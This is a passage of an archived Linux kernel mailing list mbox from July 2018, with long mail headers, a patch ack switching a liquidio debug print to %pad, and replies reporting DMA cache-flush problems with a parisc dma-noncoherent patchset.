 l5ehCn4E3nfsiPJ+X0Smx943/TbayeGx/fmDdek0KR2TpZnnXpYPCwCKB9yO+JpuJuvkSIQm2jqPnn1qknULxqR5Gu9wAFw=
X-MS-TrafficTypeDiagnostic: BN6PR07MB2817:
X-Microsoft-Exchange-Diagnostics: 1;BN6PR07MB2817;20:jO4BptGrQUoOBtiqEc+e+AJpBQ+GX50wtsjfrQMHp57sb7jdgYnUZc60Yc0q4s1bmnO9UVsGbO2lUnwoSk2XQaVCHVnRhW7k4IKNtOTiqhl6FPSxdi2Sj470jgHT93zJp3UeQ/lQwump426yDm73mympY7bFLryb1XhdVsuW36BPdLwu+6QwByca3Ru4WUrc7l2h1R3ji8qP33CUwVqaJWqn4tz4ZSQVFggIgi445KVbf1SIjAaAVtPYUodpBSqXL6nvByV9zUksaN0QJVtw8Y9tzYeoNqF414DciFAWpWiMhabzBeUiYDzsoiXDP9oI3AV4xLK6JuTgnv+nEW91aYJwRD5194MXnt5b8Oyh8HgwzLRpOSZ36l4a5hWV0YLc6v6fJomOnQYw/Kwg7IqX8H7exdiS8QwqYwV3iDRK7V4Qe8icxa1I7ofsDwVLN1bryeMH+pziPTQruVEpASs3Y0PCBb6AUgcgtDequStSSdM2bbtHu7WE+3jUFigYfD5x;4:kWZ1SbGYu0x3NkSRBz+Py/epTWxjEfcKvIYDPVXjtEsbSLGBw3mNt6ynAjz6glMI85jRDrKj0RQMcu1fDSabkiTHns0B1bSkVGUXw7smfqUWRTDdrt+yeidzgyfnveqVdeT4o1jYIdSd5QK4xwXkqh/Jp8IQmfNGxUykz6dbo4AB1BryKuGU3JLCLn1VaChBmIeTeiJ9NmUq0o5bw0jOS1zYsESS11Zq0oprcwFP
 js/dRfIe+j9NtY3jp005JAvMSkb20eimtAdp9YT2L5eAfYjmj3nGc65iy2dbypCTvQzt69Z5ZLW50PESqlRUdHzT
X-Microsoft-Antispam-PRVS: <BN6PR07MB28173417F30BE218060DE037E7580@BN6PR07MB2817.namprd07.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:(26323138287068);
X-MS-Exchange-SenderADCheck: 1
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(8211001083)(6040522)(2401047)(8121501046)(5005006)(10201501046)(93006095)(93001095)(3002001)(3231311)(944501410)(52105095)(149027)(150027)(6041310)(20161123564045)(20161123558120)(20161123562045)(201703131423095)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123560045)(6072148)(201708071742011)(7699016);SRVR:BN6PR07MB2817;BCL:0;PCL:0;RULEID:;SRVR:BN6PR07MB2817;
X-Forefront-PRVS: 07326CFBC4
X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10009020)(6069001)(396003)(376002)(346002)(366004)(136003)(39860400002)(189003)(199004)(33656002)(81166006)(6246003)(229853002)(53936002)(3846002)(6116002)(6666003)(25786009)(16526019)(8936002)(186003)(72206003)(6496006)(2906002)(26005)(1076002)(76176011)(106356001)(105586002)(4326008)(23726003)(486006)(76506005)(47776003)(50466002)(52116002)(54906003)(446003)(478600001)(68736007)(386003)(16586007)(11346002)(6486002)(6916009)(476003)(97736004)(316002)(86362001)(305945005)(58126008)(44832011)(14444005)(8676002)(5660300001)(956004)(81156014)(66066001)(7736002)(18370500001);DIR:OUT;SFP:1101;SCL:1;SRVR:BN6PR07MB2817;H:localhost;FPR:;SPF:None;LANG:en;PTR:InfoNoRecords;MX:1;A:1;
Received-SPF: None (protection.outlook.com: cavium.com does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;BN6PR07MB2817;23:HRiaX6yJ3d/h+BFgnX4ubdTiTwEs+7Iga1fu0J7eF?=
 =?us-ascii?Q?aKt64wJJrTPqchTzlMY+LvbXaujJ2iNO+hBbftwpqqF+rVNE0SWfh64KFCtD?=
 =?us-ascii?Q?miS5KhtaJ/h6ds7s1U+Dgll8X7k3u0vpISs1UQfecPMOf8mg0IHqiISzSR1a?=
 =?us-ascii?Q?9QNovo+LQ+OVcKh7tcZiMulcKuyTN0JocPVp3afednTgZHC02BjSrx+TfcFA?=
 =?us-ascii?Q?72oarC4+k1VykU0ejlvHJOUx7+29As/luZC5/m1Tt+iez1208Q+pal/NCLWv?=
 =?us-ascii?Q?hEffFevL5c5uTZh7o6TUBYGypduLQlDEIYaz3hvxsjWarB+XPMtsZh1lg/n0?=
 =?us-ascii?Q?8hZfPkznmuC/maTMKGpTRZoBgJuylZg9xO2V92rGl/avVRF/kSHYzKZdmcIk?=
 =?us-ascii?Q?b2Vb3IySjIZxnhteG0twdxuDY73FVO3PP8F1H4yyDg+MPMjqAkyc/8Frh0lT?=
 =?us-ascii?Q?SIqyAlHw+59MsRMktSGLmVRmA9oEdY6iwm6loPdzWykKE6HQleisKPkUexXZ?=
 =?us-ascii?Q?BQUSQKWdCfGS4jjN8eJmrL2yDiLSUrncUEGGklJfNR7KduABEUBvuJ/7mSMu?=
 =?us-ascii?Q?Kf/y1Xlk7FMjRGo70JXweiAtPJy/TitQq6DK0uueQOhJy+5mu+km7pMlinSV?=
 =?us-ascii?Q?wqsrcZ 
X-Microsoft-Antispam-Message-Info: ovYrn9Nn4lIP9v1qqQpbr8rf7Q0jZdc78vn44xT7Cjojw3N5yjOLZZNUIUXaqZ7noD027Qg4fOBa2wY+PMsRXOGRqCWykNnawMX6QNV4lVscctm6MoYGfGPV7fu86Fjp0komYeaXS6N9rqM9TSLiysXq9VL3GxRue/gdE6hBlk/+gX3AlYCWwd3i4ZTRx4W3t8AtdTKvSa3XVkVn57er7BgxX4vePd2DQ94J4RsRBFSnRWTTbfP9CS7qIl+ti9K/77hI/ZVA+xxoG4rnSzGj/VZSPHtHqICV4usRLYQIwTRQHDRgTkEdPJvCetl0tyCCB2biOA52P/NI3qNJhp1qEEgRhSDfzbxY8i+0x7PottE=
X-Microsoft-Exchange-Diagnostics: 1;BN6PR07MB2817;6:tdgRLK2r4s6AS6sBgkuTTYfL9S85hY16SnPgiLvbgnp72jtNfbWURrls7LvM3jxQdkSa7hlXcc6/MS3cWZp9hlpG54BbE3Uoat5y0sEXD+YK3KLtm+2aA2DrdiwwY2XHAps5zi9kn4ouEKdIQt6r/jXdtkcmZMidngMwvMlTuJ1io9BqlvYlqXJtQtD93YdutEq+yi80NfFcDGyYactOoIUSg9r0p1XK8EMuipXZqmdZC15rDjC56iz5ZnyJ1kzu8wZwvPtmcTqml9jn67rHgj8vQ2OuUzgbLjIJ5dPO2TebI3hLGeVzrQ1snVimsTJ50ORwzxwzgjELQEs+MkI466HmZSjZwJ6eukGrvKEH3KsOG0MCHyZFE9YrMYt3TTII9V8IRualxi6RItGiuFQsOmuHUz3e8aewFLKqkn81zDCAsXZztzVhR4+oVRRrAkKVXaKeaD7ZriKl/2opmwofJg==;5:7GFzmPSzhsJfsL68fpGl/E76QdDozX8LyyGIF13fkW8Au6lXUWd6IF6yLOvQNA7BPzScvm0unUoH7cZS1tqgx+x3NkDUgvMJpuIxLIEBJwBy3e6W3bfFNmjRBp6/K7X8v79PGgP6WY/itaXUueEM39n2ukKY67Ifj/Oaw8kajZ8=;24:0HweFWVienjHDYHoOfa2InfetB5fda87Tjv0TSjsOfZicPhYDaDkveVfcB6OJ4s1BYe6u7TxmsRQjZfGHUBc3xuDbi5hov07b
 WOHH3i5u6U=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1;BN6PR07MB2817;7:s82pbV+0eWmDoxeWjGzlXg4D0ypROG6nFQsUAQBL1eyQrIClWI92RIjUNgMzI6v9Bm8ckUJJSzYvg4mK9Oj2/cK8Zkzk1VHLlfo65YsxL51wE8rC1uh+yzjqqcPzlXbf2h+FcbtbnaPGo01DtJ+wRVAOr7rwt14FRFVEZ0o/KC0Qm6mPoI1nKMYioBICVRo0hQyo4luoGqSc/CItBugof7WD/X8PzBNDhn7xw2cJD4lB0ijCXg7K4A5nWgV7Slq6
X-OriginatorOrg: cavium.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2018 00:06:54.7219 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: a9713cbf-dbb9-43c2-0bb2-08d5e8548af6
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 711e4ccf-2e9b-4bcf-a551-4094005b6194
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BN6PR07MB2817
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:544248 gmane.linux.ports.parisc:28783
Archived-At: <http://permalink.gmane.org/gmane.linux.network/544248>

On Thu, Jul 12, 2018 at 10:36:29PM +0200, Helge Deller wrote:
> Use the existing %pad printk format to print dma_addr_t values.
> This avoids the following warnings when compiling on the parisc platform:
> 
> warning: format '%llx' expects argument of type 'long long unsigned int', but argument 2 has type 'dma_addr_t {aka unsigned int}' [-Wformat=]
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/drivers/net/ethernet/cavium/liquidio/request_manager.c b/drivers/net/ethernet/cavium/liquidio/request_manager.c
> index 1f2e75da28f8..d5d9e47daa4b 100644
> --- a/drivers/net/ethernet/cavium/liquidio/request_manager.c
> +++ b/drivers/net/ethernet/cavium/liquidio/request_manager.c
> @@ -110,8 +110,8 @@ int octeon_init_instr_queue(struct octeon_device *oct,
> 
>  	memset(iq->request_list, 0, sizeof(*iq->request_list) * num_descs);
> 
> -	dev_dbg(&oct->pci_dev->dev, "IQ[%d]: base: %p basedma: %llx count: %d\n",
> -		iq_no, iq->base_addr, iq->base_addr_dma, iq->max_count);
> +	dev_dbg(&oct->pci_dev->dev, "IQ[%d]: base: %p basedma: %pad count: %d\n",
> +		iq_no, iq->base_addr, &iq->base_addr_dma, iq->max_count);
> 
>  	iq->txpciq.u64 = txpciq.u64;
>  	iq->fill_threshold = (u32)conf->db_min;

Acked-by: Felix Manlunas <felix.manlunas@cavium.com>


From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: Re: convert parisc to the generic dma-noncoherent code
Date: Fri, 13 Jul 2018 10:14:38 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <e2b653d8-cc04-7a81-89a0-9d286c5cc0ca@gmx.de>
References: <20180619070455.26624-1-hch@lst.de> <20180711153445.GC31946@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531469563 24536 195.159.176.226 (13 Jul 2018 08:12:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jul 2018 08:12:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.5.2
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jul 13 10:12:38 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fdtBu-0006H1-63
	for glki-iommu@m.gmane.org; Fri, 13 Jul 2018 10:12:38 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 78B95B1E;
	Fri, 13 Jul 2018 08:14:47 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id B72B12C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 13 Jul 2018 08:14:46 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.15.18])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 3BCA76D6
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 13 Jul 2018 08:14:44 +0000 (UTC)
Original-Received: from [192.168.20.60] ([92.116.179.73]) by mail.gmx.com (mrgmx003
	[212.227.17.190]) with ESMTPSA (Nemesis) id 0Lhwt0-1gQzPh3sWo-00n7aX;
	Fri, 13 Jul 2018 10:14:39 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller-Mmb7MZpHnFY@public.gmane.org; prefer-encrypt=mutual; keydata=
	xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
	y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
	+sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
	KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
	OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
	AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
	AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
	UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
	+ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
	iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
	288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
	vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20180711153445.GC31946-jcswGhMUV9g@public.gmane.org>
Content-Language: en-US
X-Provags-ID: V03:K1:sf2rY02YUR0ZeZfXAVoRIXFGAeI43lcAZtzhH4rts/OClA1SDmw
	thUemN2hsbPB9Fvpx7SgWbgJfCdF5JFI1ggy/xmpTlA+5I/T5TMZGfd/1gHD20PLEiwtJFH
	52+Z8tNUXB90nkW2qugYxTevTVhmVUqfFt1hEqTas7pH2Wn8LVWZFGaEd8CjcleTKvD/UWS
	c0yJtDvxqBG5ENU2hgFeQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ml/BwAybEQQ=:iqczSSEelErYTMbmyL/+pN
	1GS1HAQZ8U2YLCYjjGOTryQFUyDi4LRMg2SaRg/kjz5ZceBFjsAGC2/Igsc1Ykcy4tVWGahlH
	E7f9bZ405bqmtWDpF/M+Z/MyBLE670/ZlV2YR2MQOrp/nlDbmlyuvj1w/x/fUDSkWZrixkvyZ
	iS9WIvFsHtepU2nbtWIh9NtZxYuLd/kh+/BolcnwLwBqhVEOv3T5TYpiUMzFRbOlVVcWdJRMd
	SwJKmi8Ln6DcchwSI0P/ze2hoh5Bdri6xaiKn0+XV09Rr5s33eODzM3+yOeQ4SoAVXwnVWLqS
	l/vr1Yv4GruCQwBFFYl2Bn+n+I/bJ3EsKc9mDFvwKYJb87qv8QopGywGeW/P590yr26+184qu
	cfzX8TknOEwjSSGewbCYw8yDZVUoDf4Ynr989v8z4R0lrtWjxrXcdZzPk7rKGrVr2B4SAorZW
	nSl+VfjDe1DUkYUVIKdm35wmnzWNe2Yx8RMgWnamwj5Aqb18+CAbXZ3kVFDtrTdCtq310Msde
	EUhnkGs7vYwP3h+R8yJPBzV94UjU5IL6ieNB+cmqLoUSqIf23286ZqK2K4riun6WZWCLpDwgJ
	yVKy9n7ZUmiRKPbgE5CFNaJG6LcYvoOGtgWq2wgzDWlb8RZlLqqK2l69lUM8uca+8ry0tpy+y
	k4VSK7eVbcIV3N/RuDqHYjL7EiP21jaK1+7qVAoPe1orj370r/ppe5fs4hrccQpUNGQLJk8Zh
	9kTA5jawLU+vwXY2zGomctFR5imafv8XhnfZAJyD197/jV7IXXhOEDkI5+LTcqe96HKRQsP0 
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:25222 gmane.linux.ports.parisc:28784
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/25222>

On 11.07.2018 17:34, Christoph Hellwig wrote:
> ping?  Any comments?

I applied those 3 patches on top of git head, and booted the
32-bit kernel on a HP 715/64 (PCX-L) and a HP B160L (PCX-L2).
On both machines I had problems with those drivers which use
DMA (I checked specifically the lasi NIC card, which is the 
main onboard NIC card in both machines).
Getting IP via DHCP was unreliable, pings on the same network 
to both machines gave lost packets, login via ssh sometimes failed
and so on.

So, there is definitively some cache-flush missing in this patchset.

I'm happy to test any further patches, but I'l be blocked at least
until end of next week. It would be good if James could do some 
testing on his PCX-machine too, since that machine is different
than mine.

Thanks for your efforts to clean that up!
Helge

> On Tue, Jun 19, 2018 at 09:04:52AM +0200, Christoph Hellwig wrote:
>> This should address all the comments raised last time.
For the record: Here is the link to the patchbundle:
https://patchwork.kernel.org/bundle/helge/DMA_OP/

From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: Re: convert parisc to the generic dma-noncoherent code
Date: Sun, 15 Jul 2018 12:29:37 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <e29f9140-0d47-e074-1609-d6ae8f8869b3@bell.net>
References: <20180619070455.26624-1-hch@lst.de> <20180711153445.GC31946@lst.de>
	<e2b653d8-cc04-7a81-89a0-9d286c5cc0ca@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1531703478 24172 195.159.176.226 (16 Jul 2018 01:11:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Jul 2018 01:11:18 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
	Thunderbird/52.9.1
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Mon Jul 16 03:11:14 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fes2j-0006Bz-PB
	for glki-iommu@m.gmane.org; Mon, 16 Jul 2018 03:11:14 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 42A26BAD;
	Mon, 16 Jul 2018 01:13:10 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id CF842E52
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 15 Jul 2018 16:41:20 +0000 (UTC)
X-Greylist: delayed 00:11:41 by SQLgrey-1.7.6
Original-Received: from mtlfep04.bell.net (belmont94srvr.owm.bell.net [184.150.200.94])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 418F771F
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 15 Jul 2018 16:41:20 +0000 (UTC)
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net with ESMTP
	id <20180715162938.PCTL10498.mtlfep01.bell.net-8QoD0q2JOa0aIzd223pE6F6hYfS7NtTn@public.gmane.org>
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 15 Jul 2018 12:29:38 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.189]) by mtlspm01.bell.net
	with ESMTP
	id <20180715162938.YAHE28394.mtlspm01.bell.net@[192.168.2.49]>;
	Sun, 15 Jul 2018 12:29:38 -0400
In-Reply-To: <e2b653d8-cc04-7a81-89a0-9d286c5cc0ca-Mmb7MZpHnFY@public.gmane.org>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0
	a=VCUqJnZSONuD0ISaPFNHjQ==:17 a=IkcTkHD0fZMA:10
	a=R9QF1RCXAYgA:10 a=FBHGMhGWAAAA:8 a=AHIXJT7GjBFQe6RsnucA:9
	a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Mailman-Approved-At: Mon, 16 Jul 2018 01:13:05 +0000
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:25243 gmane.linux.ports.parisc:28785
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/25243>

T24gMjAxOC0wNy0xMyA0OjE0IEFNLCBIZWxnZSBEZWxsZXIgd3JvdGU6Cj4gT24gMTEuMDcuMjAx
OCAxNzozNCwgQ2hyaXN0b3BoIEhlbGx3aWcgd3JvdGU6Cj4+IHBpbmc/ICBBbnkgY29tbWVudHM/
Cj4gSSBhcHBsaWVkIHRob3NlIDMgcGF0Y2hlcyBvbiB0b3Agb2YgZ2l0IGhlYWQsIGFuZCBib290
ZWQgdGhlCj4gMzItYml0IGtlcm5lbCBvbiBhIEhQIDcxNS82NCAoUENYLUwpIGFuZCBhIEhQIEIx
NjBMIChQQ1gtTDIpLgo+IE9uIGJvdGggbWFjaGluZXMgSSBoYWQgcHJvYmxlbXMgd2l0aCB0aG9z
ZSBkcml2ZXJzIHdoaWNoIHVzZQo+IERNQSAoSSBjaGVja2VkIHNwZWNpZmljYWxseSB0aGUgbGFz
aSBOSUMgY2FyZCwgd2hpY2ggaXMgdGhlCj4gbWFpbiBvbmJvYXJkIE5JQyBjYXJkIGluIGJvdGgg
bWFjaGluZXMpLgo+IEdldHRpbmcgSVAgdmlhIERIQ1Agd2FzIHVucmVsaWFibGUsIHBpbmdzIG9u
IHRoZSBzYW1lIG5ldHdvcmsKPiB0byBib3RoIG1hY2hpbmVzIGdhdmUgbG9zdCBwYWNrZXRzLCBs
b2dpbiB2aWEgc3NoIHNvbWV0aW1lcyBmYWlsZWQKPiBhbmQgc28gb24uCj4KPiBTbywgdGhlcmUg
aXMgZGVmaW5pdGl2ZWx5IHNvbWUgY2FjaGUtZmx1c2ggbWlzc2luZyBpbiB0aGlzIHBhdGNoc2V0
LgpQb3NzaWJseSwgdGhlIGNvZGUgc2hvdWxkIHVzZSBmbHVzaF9rZXJuZWxfdm1hcF9yYW5nZSgp
IGFzIGl0IHB1cmdlcyB0aGUgClRMQiBlbnRyaWVzIHVzZWQKZm9yIHRoZSBjYWNoZSBmbHVzaC7C
oCBTb21lIG9mIHRoZSByb3V0aW5lcyBpbiBwY2ktZG1hLmMgY3VycmVudGx5IHVzZSBpdC4KCkRh
dmUKCi0tIApKb2huIERhdmlkIEFuZ2xpbiAgZGF2ZS5hbmdsaW5AYmVsbC5uZXQKCl9fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCmlvbW11IG1haWxpbmcgbGlz
dAppb21tdUBsaXN0cy5saW51eC1mb3VuZGF0aW9uLm9yZwpodHRwczovL2xpc3RzLmxpbnV4Zm91
bmRhdGlvbi5vcmcvbWFpbG1hbi9saXN0aW5mby9pb21tdQ==


From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kord" <rpkw5735-RuTGJwh49Ls+Va1GwOuvDg@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.ports.arm.omap,gmane.linux.kernel.numa,gmane.linux.nfs,gmane.linux.ports.m68k,gmane.linux.lvm.general,gmane.linux.leds
Subject: =?windows-1251?B?W3J1YWJdIFJlOiAoMikgbGludXgtcGNpQHZn?=
 =?windows-1251?B?ZXIua2VybmVsLm9yZyBUaGUgYmFzZSBvZiBi?=
 =?windows-1251?B?dXNpbmVzc21lbiBmcm9tIGFsbCBvdmVyIHRo?=
 =?windows-1251?B?ZSB3b3JsZC4gLyDB4OfgIOHo5+3l8ezl7e7i?=
 =?windows-1251?B?IPHuIOLx5ePuIMzo8OAu?=
Date: Mon, 16 Jul 2018 17:32:03 +0400
Organization: Kord
Lines: 18
